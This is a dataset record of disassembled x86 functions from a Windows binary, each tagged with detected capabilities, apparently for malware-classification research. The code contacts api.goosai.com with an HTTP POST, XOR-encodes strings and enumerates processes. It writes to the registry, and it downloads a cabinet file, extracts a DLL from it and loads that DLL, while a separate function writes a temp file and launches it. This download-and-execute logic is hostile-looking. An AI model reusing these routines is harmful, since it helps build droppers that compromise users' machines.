joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4094e0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4a4
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 0x14]
push 0x7f
mov dword [ebp - 0x4a4], eax
lea eax, [ebp - 0x87]
push 0
push eax
mov dword [ebp - 0x4a0], edi
mov byte [ebp - 0x88], 0
call fcn.004164f0
push str.api.goosai.com
lea eax, [ebp - 0x88]
push 0x80
push eax
call fcn.00412f97
add esp, 0x18
push str.api.goosai.com
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
test esi, esi
je 0x4095b8
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
mov dword [ebp - 0x48e], 0
xorps xmm0, xmm0
mov word [ebp - 0x48a], 0
mov eax, 2
movq qword [ebp - 0x496], xmm0
push 0x50
mov word [ebp - 0x498], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x496], ax
mov eax, dword [esi + 0xc]
push 0x10
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x494], eax
lea eax, [ebp - 0x498]
push eax
push ebx
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x4095ce
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00412a47
mov esp, ebp
pop ebp
ret 0x10
mov esi, dword [sym.imp.WS2_32.dll_setsockopt]
lea eax, [ebp - 0x49c]
push 4
push eax
push 0x1005
push 0xffff
push ebx
mov dword [ebp - 0x49c], 0xbb8
call esi
push 4
lea eax, [ebp - 0x49c]
push eax
push 0x1006
push 0xffff
push ebx
call esi
push 0x3ff
lea eax, [ebp - 0x487]
mov byte [ebp - 0x488], 0
push 0
push eax
call fcn.004164f0
mov edx, dword [ebp - 0x4a4]
add esp, 0xc
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409632
push edx
sub ecx, esi
lea eax, [ebp - 0x88]
push ecx
push eax
push str._api_getallv2
lea eax, [ebp - 0x488]
push str.POST__s_HTTP_1.1_r_nHost:__s__r_nContent_Length:__d__r_nConnection:close_r_nAccept_Language:_zh_cn_r_nCache_Conbtrol:no_cache_r_nContent_Type:application_x_www_form_urlencoded_r_n_r_n_s_r_n_r_n
push eax
call fcn.00404500
lea ecx, [ebp - 0x488]
add esp, 0x18
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409666
push 0
sub ecx, edx
lea eax, [ebp - 0x488]
push ecx
push eax
push ebx
call dword [sym.imp.WS2_32.dll_send]
xor esi, esi
push esi
push 0x1000
push edi
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x4096b3
add esi, eax
add edi, eax
cmp esi, 0x8fff
jg 0x4096b3
push 0
push 0x1000
push edi
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x409694
mov edi, dword [ebp - 0x4a0]
push ebx
mov byte [edi + esi], 0
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, edi
call fcn.00409440
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00412a47
mov esp, ebp
pop ebp
ret 0x10
Function at 0x40aa60
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push esi
mov esi, dword [0x48b0e8]
sub eax, 0x8005
je 0x40aaa5
dec eax
jne 0x40aaaf
lea eax, [esi + 0xc40]
push eax
push 2
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
push esi
push 0
push 0x40b800
mov byte [esi + 0x60c], 0
call fcn.0041434b
add esp, 0xc
pop esi
mov esp, ebp
pop ebp
ret 4
push 1
push dword [esi]
call dword [sym.imp.USER32.dll_ShowWindow]
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x40b820
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 5
push 0
push 0
mov esi, ecx
push esi
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jae 0x40b87e
push esi
lea eax, [ebp - 0x404]
push str._select___s
push eax
call fcn.00404500
add esp, 0xc
lea eax, [ebp - 0x404]
push 5
push 0
push eax
push str.explorer
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00412a47
mov esp, ebp
pop ebp
ret
Function at 0x40c0d0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, ecx
mov dword [ebp - 4], eax
cmp byte [eax + 0x60a], 0
jne 0x40c18b
push ebx
mov byte [eax + 0x60a], 1
mov ebx, dword [eax + 0x618]
sub ebx, dword [eax + 0x614]
push esi
sar ebx, 2
xor esi, esi
test ebx, ebx
je 0x40c179
mov ecx, dword [eax + 0x614]
mov eax, dword [eax + 0x618]
sub eax, ecx
mov dword [ebp - 0xc], ecx
sar eax, 2
mov dword [ebp - 8], eax
push edi
mov edi, edi
cmp eax, esi
jbe 0x40c191
mov edi, dword [ecx + esi*4]
test edi, edi
je 0x40c165
mov eax, 0x4344f0
lea ecx, [edi + 0x800]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x40c156
test dl, dl
je 0x40c152
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x40c156
add ecx, 2
add eax, 2
test dl, dl
jne 0x40c136
xor eax, eax
jmp 0x40c15b
sbb eax, eax
or eax, 1
test eax, eax
je 0x40c16c
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
inc esi
cmp esi, ebx
jb 0x40c120
jmp 0x40c175
mov al, byte [ebp + 8]
mov byte [edi + 0x142d], al
mov eax, dword [ebp - 4]
pop edi
push eax
push 0
push 0x40b800
call fcn.0041434b
add esp, 0xc
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push str.invalid_vector_T__subscript
call fcn.004291cc
int3

Function at 0x40c3f0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe48
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
test esi, esi
je 0x40c51e
cmp byte [esi], 0
je 0x40c51e
mov ebx, dword [sym.imp.KERNEL32.dll_Process32NextW]
push 0x400
lea eax, [ebp - 0x40c]
push 0
push eax
call fcn.004164f0
add esp, 0xc
push 0x3b
push esi
call fcn.00413740
add esp, 8
mov dword [ebp - 0xe40], eax
test eax, eax
je 0x40c51e
mov edi, eax
lea eax, [ebp - 0x40c]
sub edi, esi
push edi
push esi
push eax
call fcn.004171f0
add esp, 0xc
cmp edi, 0x400
jae 0x40c54f
push 0x3ff
lea eax, [ebp - 0x40c]
mov byte [ebp + edi - 0x40c], 0
push eax
push 0x400
lea eax, [ebp - 0xc0c]
push eax
lea eax, [ebp - 0xe44]
push eax
call fcn.004158e6
add esp, 0x14
mov dword [ebp - 0xe3c], 0x22c
lea eax, [ebp - 0xe38]
push 0x228
push 0
push eax
call fcn.004164f0
add esp, 0xc
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x40c511
lea eax, [ebp - 0xe3c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x40c50a
lea eax, [ebp - 0xc0c]
push eax
lea eax, [ebp - 0xe18]
push eax
call fcn.00414e5f
add esp, 8
test eax, eax
je 0x40c533
lea eax, [ebp - 0xe3c]
push eax
push esi
call ebx
test eax, eax
jne 0x40c4e2
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0xe40]
inc esi
jne 0x40c420
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00412a47
mov esp, ebp
pop ebp
ret 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 8]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00412a47
mov esp, ebp
pop ebp
ret 4
call fcn.00413230
int3
Function at 0x40c8e0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x234]
push esi
push edi
push 0x228
push 0
push eax
mov dword [ebp - 0x238], 0x22c
call fcn.004164f0
add esp, 0xc
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x40c96b
lea eax, [ebp - 0x238]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x40c964
mov edi, dword [sym.imp.KERNEL32.dll_Process32NextW]
lea eax, [ebp - 0x214]
push ebx
push eax
call fcn.00414e5f
add esp, 8
test eax, eax
je 0x40c980
lea eax, [ebp - 0x238]
push eax
push esi
call edi
test eax, eax
jne 0x40c942
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00412a47
mov esp, ebp
pop ebp
ret 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00412a47
mov esp, ebp
pop ebp
ret 8
Function at 0x40d440
Capabilities:
Create udp socket
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push eax
mov dword [ebp - 0x30], ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
jne 0x40d47c
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00412a47
mov esp, ebp
pop ebp
ret 4
push 0
push 2
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40d466
mov esi, dword [sym.imp.WS2_32.dll_setsockopt]
lea eax, [ebp - 0x2c]
push 4
push eax
push 0x1005
push 0xffff
push ebx
mov dword [ebp - 0x2c], 0xbb8
call esi
push 4
lea eax, [ebp - 0x2c]
push eax
push 0x1006
push 0xffff
push ebx
call esi
push 4
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x2c], 4
push eax
push 0x1001
push 0xffff
push ebx
call esi
push 4
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0x204
push eax
push 0x1002
push 0xffff
push ebx
call esi
xorps xmm0, xmm0
mov eax, 2
movdqu xmmword [ebp - 0x18], xmm0
push 0x500
mov word [ebp - 0x18], ax
call dword [sym.imp.WS2_32.dll_htons]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov word [ebp - 0x16], ax
mov eax, dword [edi + 0xc]
xor edi, edi
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x34], 0x10
nop
push 0x10
lea eax, [ebp - 0x18]
mov dword [ebp - 0x38], 0x99999
push eax
push 0
push 4
lea eax, [ebp - 0x38]
push eax
push ebx
call dword [sym.imp.WS2_32.dll_sendto]
test eax, eax
jle 0x40d5a8
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x28]
push eax
push 0
push 0x204
push dword [ebp - 0x30]
push ebx
call dword [sym.imp.WS2_32.dll_recvfrom]
cmp eax, 0xffffffff
jne 0x40d575
push 0x64
call esi
inc edi
jmp 0x40d5ad
cmp dword [ebp - 0x34], 0x10
jne 0x40d5db
lea edx, [ebp - 0x18]
mov esi, 0xc
lea eax, [ebp - 0x28]
mov ecx, dword [edx]
cmp ecx, dword [eax]
jne 0x40d5d5
add edx, 4
add eax, 4
sub esi, 4
jae 0x40d586
mov eax, dword [ebp - 0x30]
cmp dword [eax], 0xff1425
je 0x40d5e2
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
inc edi
call esi
cmp edi, 0x1e
jl 0x40d530
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00412a47
mov esp, ebp
pop ebp
ret 4
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call esi
inc edi
jmp 0x40d5ad
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 8]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00412a47
mov esp, ebp
pop ebp
ret 4
Function at 0x40d600
Capabilities:
Check if file exists
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x174
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push esi
push edi
test eax, eax
je 0x40d7d0
cmp byte [eax + 4], 0
lea edi, [eax + 4]
je 0x40d7d0
cmp byte [eax + 0x84], 0
lea esi, [eax + 0x84]
je 0x40d7d0
add eax, 0x184
push eax
call fcn.0040c3f0
test al, al
jne 0x40d7d0
lea edx, [ebp - 0x118]
mov dword [ebp - 0x118], 0
mov ecx, esi
call fcn.00403dc0
cmp dword [ebp - 0x118], 0
mov esi, eax
je 0x40d7d0
test esi, esi
je 0x40d7d0
push 0x103
lea eax, [ebp - 0x113]
mov byte [ebp - 0x114], 0
push 0
push eax
call fcn.004164f0
add esp, 0xc
lea eax, [ebp - 0x114]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40d7d0
push edi
lea eax, [ebp - 0x114]
push 0x104
push eax
call fcn.00413090
add esp, 0xc
lea eax, [ebp - 0x114]
push 0x434910
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00413b3a
mov eax, dword [ebp - 0x11c]
add esp, 0xc
test eax, eax
je 0x40d71c
push eax
push esi
push 1
push dword [ebp - 0x118]
call fcn.004142c9
push dword [ebp - 0x11c]
call fcn.004140f9
add esp, 0x14
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x174], 0x44
push eax
lea eax, [ebp - 0x174]
mov dword [ebp - 0x170], 0
push eax
push 0
push 0
push 0x200
push 0
push 0
push 0
lea eax, [ebp - 0x114]
mov dword [ebp - 0x16c], 0x434234
push eax
push 0
mov dword [ebp - 0x168], 0
mov dword [ebp - 0x148], 1
mov dword [ebp - 0x144], 5
mov dword [ebp - 0x140], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40d7d0
push 0x1388
push dword [ebp - 0x12c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x128]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x12c]
call esi
mov eax, 1
pop edi
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00412a47
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 8]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.00412a47
mov esp, ebp
pop ebp
ret 4

Function at 0x40d8e0
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov ebx, ecx
push edi
mov edi, ebx
lea ecx, [edi + 1]
lea ebx, [ebx]
mov al, byte [edi]
inc edi
test al, al
jne 0x40d8f0
sub edi, ecx
inc edi
push edi
call fcn.00412a56
push edi
mov esi, eax
push 0
push esi
call fcn.004164f0
push ebx
push edi
push esi
call fcn.00412f97
xor eax, eax
add esp, 0x1c
cmp byte [esi], al
je 0x40d92a
lea esp, [esp]
xor byte [esi], 0x21
inc eax
inc esi
cmp byte [esi], 0
jne 0x40d920
sub esi, eax
pop edi
mov eax, esi
pop esi
pop ebx
ret
Function at 0x40d940
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
test edx, edx
je 0x40daa2
mov ecx, dword [ebp + 0xc]
test ecx, ecx
je 0x40daa2
mov eax, dword [ebp + 0x10]
cmp eax, 1
jb 0x40daa2
push esi
xor esi, esi
test eax, eax
je 0x40da97
dec eax
push ebx
mov bl, byte [ebp + 0xa]
shr eax, 2
inc eax
push edi
lea edi, [ecx + 2]
mov dword [ebp + 0xc], eax
mov dl, byte [edi - 2]
cmp dl, 0x2b
jne 0x40d98c
mov dl, 0x3e
jmp 0x40d9ba
cmp dl, 0x2f
jne 0x40d995
mov dl, 0x3f
jmp 0x40d9ba
cmp dl, 0x39
jg 0x40d99f
add dl, 4
jmp 0x40d9ba
cmp dl, 0x3d
je 0x40d9b8
cmp dl, 0x5a
jg 0x40d9ae
sub dl, 0x41
jmp 0x40d9ba
cmp dl, 0x7a
jg 0x40d9b8
sub dl, 0x47
jmp 0x40d9ba
mov dl, 0x40
mov cl, byte [edi - 1]
cmp cl, 0x2b
jne 0x40d9c6
mov cl, 0x3e
jmp 0x40d9f4
cmp cl, 0x2f
jne 0x40d9cf
mov cl, 0x3f
jmp 0x40d9f4
cmp cl, 0x39
jg 0x40d9d9
add cl, 4
jmp 0x40d9f4
cmp cl, 0x3d
je 0x40d9f2
cmp cl, 0x5a
jg 0x40d9e8
sub cl, 0x41
jmp 0x40d9f4
cmp cl, 0x7a
jg 0x40d9f2
sub cl, 0x47
jmp 0x40d9f4
mov cl, 0x40
mov al, cl
shl dl, 2
shr al, 4
add al, dl
mov edx, dword [ebp + 8]
mov byte [esi + edx], al
inc esi
mov al, byte [edi]
cmp al, 0x3d
je 0x40da4d
mov bl, al
cmp bl, 0x2b
jne 0x40da16
mov bl, 0x3e
jmp 0x40da3f
cmp bl, 0x2f
jne 0x40da1f
mov bl, 0x3f
jmp 0x40da3f
cmp bl, 0x39
jg 0x40da29
add bl, 4
jmp 0x40da3f
cmp bl, 0x5a
jg 0x40da33
sub bl, 0x41
jmp 0x40da3f
cmp bl, 0x7a
jg 0x40da3d
sub bl, 0x47
jmp 0x40da3f
mov bl, 0x40
mov al, bl
shl cl, 4
shr al, 2
add al, cl
mov byte [esi + edx], al
inc esi
mov al, byte [edi + 1]
cmp al, 0x3d
je 0x40da89
cmp al, 0x2b
jne 0x40da5c
mov al, 0x3e
jmp 0x40da7e
cmp al, 0x2f
jne 0x40da64
mov al, 0x3f
jmp 0x40da7e
cmp al, 0x39
jg 0x40da6c
add al, 4
jmp 0x40da7e
cmp al, 0x5a
jg 0x40da74
sub al, 0x41
jmp 0x40da7e
cmp al, 0x7a
jg 0x40da7c
sub al, 0x47
jmp 0x40da7e
mov al, 0x40
mov cl, bl
shl cl, 6
add cl, al
mov byte [esi + edx], cl
inc esi
add edi, 4
dec dword [ebp + 0xc]
jne 0x40d980
pop edi
pop ebx
mov byte [esi + edx], 0
mov eax, esi
pop esi
pop ebp
ret 0xc
xor eax, eax
pop ebp
ret 0xc
Function at 0x40df30
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push 0
lea eax, [ebp - 4]
mov esi, edx
push eax
push 0
push 0xf013f
push 0
push 0
push 0
mov edi, ecx
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x40dfb6
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 8]
push eax
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0xf023f
push 0
push 0
push 0
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x40dfb6
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 8]
push eax
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40e920
Capabilities:
Check if file exists
Delete file
Download url
Get common file path
Move file
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
push edi
test esi, esi
jne 0x40e943
xor eax, eax
jmp 0x40eae6
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40e946
sub ecx, edx
lea ebx, [ecx + 1]
cmp ebx, 0x3fffffff
jg 0x40e985
lea eax, [ebx + ebx]
call fcn.004268f0
mov edi, esp
test edi, edi
je 0x40e985
push ebx
push edi
push 0xffffffffffffffff
xor eax, eax
push esi
push eax
push 3
mov word [edi], ax
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov esi, eax
neg esi
sbb esi, esi
and esi, edi
jmp 0x40e987
xor esi, esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x20c]
push eax
push 0x104
call ebx
mov edi, dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea eax, [ebp - 0x20c]
push str.360ini.cab
push eax
call edi
push 0
push 0
lea eax, [ebp - 0x20c]
push eax
push esi
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x40e93c
lea eax, [ebp - 0x414]
push eax
push 0x104
call ebx
push str.360ini
lea eax, [ebp - 0x414]
push eax
call edi
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryW]
test eax, eax
jne 0x40ea1b
lea eax, [ebp - 0x414]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHCreateDirectory]
test eax, eax
je 0x40ea1b
cmp eax, 0x50
je 0x40ea1b
cmp eax, 0xb7
jne 0x40e93c
lea eax, [ebp - 0x414]
push eax
push 0x40e890
push 0
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SETUPAPI.dll_SetupIterateCabinetW]
mov esi, eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test esi, esi
je 0x40e93c
push str.360ini.dll
lea eax, [ebp - 0x414]
push eax
call edi
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40e93c
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.360Ini
call esi
test eax, eax
lea eax, [ebp - 0x414]
push eax
je 0x40eae0
lea ecx, [ebp - 0x20c]
call fcn.0040e840
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push str.Internet360Ini.dll
lea eax, [ebp - 0x20c]
push eax
call edi
push str.Internet360Ini
call esi
test eax, eax
jne 0x40e93c
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
je 0x40e93c
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea esp, [ebp - 0x420]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00412a47
mov esp, ebp
pop ebp
ret
Function at 0x4108e0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
test edx, edx
jne 0x4108eb
xor eax, eax
pop ebp
ret
push esi
mov esi, dword [ebp + 8]
not ecx
cmp esi, 8
jb 0x4109b5
push edi
mov edi, esi
shr edi, 3
movzx eax, byte [edx]
sub esi, 8
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x432880]
movzx eax, byte [edx + 1]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x432880]
movzx eax, byte [edx + 2]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x432880]
movzx eax, byte [edx + 3]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x432880]
movzx eax, byte [edx + 4]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x432880]
movzx eax, byte [edx + 5]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x432880]
movzx eax, byte [edx + 6]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x432880]
movzx eax, byte [edx + 7]
add edx, 8
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x432880]
dec edi
jne 0x410900
pop edi
test esi, esi
je 0x4109da
lea esp, [esp]
movzx eax, byte [edx]
lea edx, [edx + 1]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x432880]
dec esi
jne 0x4109c0
not ecx
mov eax, ecx
pop esi
pop ebp
ret

Function at 0x4110b0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov ebx, edx
mov esi, ebx
mov eax, ecx
imul esi, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp byte [edi], 0
je 0x4110f3
push 0
lea ecx, [ebp + 8]
push ecx
push esi
push eax
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4110e5
mov byte [edi + 8], 1
mov eax, dword [ebp + 8]
xor edx, edx
pop edi
pop esi
div ebx
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [edi + 0x18]
mov ecx, dword [edi + 0x14]
lea eax, [edx + esi]
cmp eax, ecx
jbe 0x411104
mov esi, ecx
sub esi, edx
mov ecx, dword [edi + 0x10]
push esi
add ecx, edx
push ecx
push dword [ebp - 4]
call fcn.004171f0
add dword [edi + 0x18], esi
add esp, 0xc
mov eax, esi
xor edx, edx
div ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x411130
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, ecx
mov ebx, edx
push edi
mov dword [ebp - 8], ebx
mov edi, 1
cmp byte [esi], 0
je 0x41116b
push 0
lea eax, [ebp - 8]
push eax
push edi
lea eax, [ebp - 1]
push eax
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x411166
mov byte [esi + 8], 1
mov edi, dword [ebp - 8]
jmp 0x411198
mov ebx, dword [esi + 0x18]
mov ecx, dword [esi + 0x14]
lea eax, [ebx + 1]
cmp eax, ecx
jbe 0x41117c
mov edi, ecx
sub edi, ebx
mov eax, dword [esi + 0x10]
add eax, ebx
push edi
push eax
lea eax, [ebp - 1]
push eax
call fcn.004171f0
lea eax, [ebx + edi]
add esp, 0xc
mov ebx, dword [ebp - 8]
mov dword [esi + 0x18], eax
cmp edi, 1
jne 0x4111ac
movzx eax, byte [ebp - 1]
mov dword [ebx], eax
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
cmp byte [esi], 0
je 0x4111a3
cmp byte [esi + 8], 0
je 0x4111a3
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret